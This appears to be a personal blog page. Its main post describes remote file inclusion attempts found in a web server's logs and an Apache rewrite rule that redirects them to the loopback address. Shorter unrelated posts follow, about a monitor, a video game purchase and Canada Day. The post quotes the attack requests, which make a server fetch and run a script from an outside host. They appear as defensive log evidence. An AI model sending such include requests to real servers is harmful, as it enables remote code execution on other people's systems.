While doing some regular maintance on some websites I manage, I came across some interesting entries in the logs for one of our servers. Hundreds and hundreds of the following types of requests, originating from a wide variety of IP's:
GET /modules.php?op=http://cherrygirl.h18.ru/images/cs.txt?
GET /modules.php?op=http://amyru.h18.ru/images/cs.txt?
Basically, there are a bunch of 'infected' web servers out there which are trying to get our server to execute code stored in a file on a remote server. The file in the cases above is named 'cs.txt'. You can see the contents of the script/file by reading Dan Langille's sanitized version of the attack script.
While our server was not vulnerable to the attack, I was getting very annoyed with having to respond to the script each time it hit our server with a request. Our server had to run some code, determine that the page didn't exist, produce a page that a normal user would see explaining why their request could not be completed, etc. Then it hit me. Why are we spending all this precious cpu time for these attackers? Why not have them waste their own cpu time? And that's when I decided that the attack script should attack itself. In simple terms, when our web server notices an attack coming in, it simply redirects the request to the originating server. In essence, it's like requesting a webpage from a server, being told that the page has moved and be given a new address to go to. In this case, the new address is http://127.0.0.1. Without getting too technical, that's called a Loopback Address and is a network standard which always points to yourself.
Here's what I put in the Apache webserver httpd.conf file, which is the configuration file for the Apache web server on the Linux server I wanted to modify:
RewriteEngine on
RewriteCond %{QUERY_STRING} cs.txt? [NC]
RewriteRule ^.*$ http://127.0.0.1 [R=301,L]
So now, whenever a request comes in which contains the string 'cs.txt?' in the URL request, I inform the requester that the file they are requesting has been permanently moved to 'http://127.0.0.1', the loopback address and in essence, itself.
While the hits on the server continue, I have noticed they have slowed down, I'm assuming because the remote server is busy talking to itself for a moment. I also have the satisfaction of knowing our server isn't wasting its time with these trojan hits, and letting them talk to themselves for a bit instead.
I've been using an LCD monitor at home for about 4-5 years now, ever since my old CRT monitor started acting up and began being sensitive to anything electrical being turned on in the house. Recently, my wife and I decided to transform our seldom-used dining room into a full office; lots of Ikea office furniture and accessories later, I was able to double my deskspace as well as have a place to be a geek on the same floor where we spend most of our time as a family. Of course, all that extra deskspace was the perfect opportunity to purchase a new LCD monitor. A great sale and some online coupons later, I was the new owner of a fantastic
Amy and I decided to head out to Sam’s Club this morning to pick up a few things for the weekend, including some light bulbs and various other sundries. As is always the case, we walk through the DVD and PC software aisles to see if there’s anything that catches our eye and to get some new software for Sara to play with during ‘computer time’. Low and behold, right next to some cool Blue’s Clues game we decide to get for Sara, there’s a stack of Battlefield 2 game boxes. Amy looks at me and tells me how some kid has been posting a bunch of stuff on our community forums about how good this game was, etc. I tell her that I’ve been enjoying the demo and that I’ll probably buy it later in the month, and we continue our morning of shopping in ‘bulk’. While unloading the cart to pay, right there under the Blue’s Clues game is a Battlefield 2 box. I look up at Amy and all she says is “You’re welcome.”, smiles, and continues to unload the cart. Dammit, I love that woman! So, THANKS AMY! Here’s to another few weeks of going to bed late while playing a computer game until the wee hours of the night… Oh, and we forgot to buy the lightbulbs…
Happy Canada Day to all my fellow Canadians! I may be calling the US my home, but having been born and raised in Canada, I still take pride in its culture, its people and the land that made me who I am today. Bonne Fête, Canada!
Recent Comments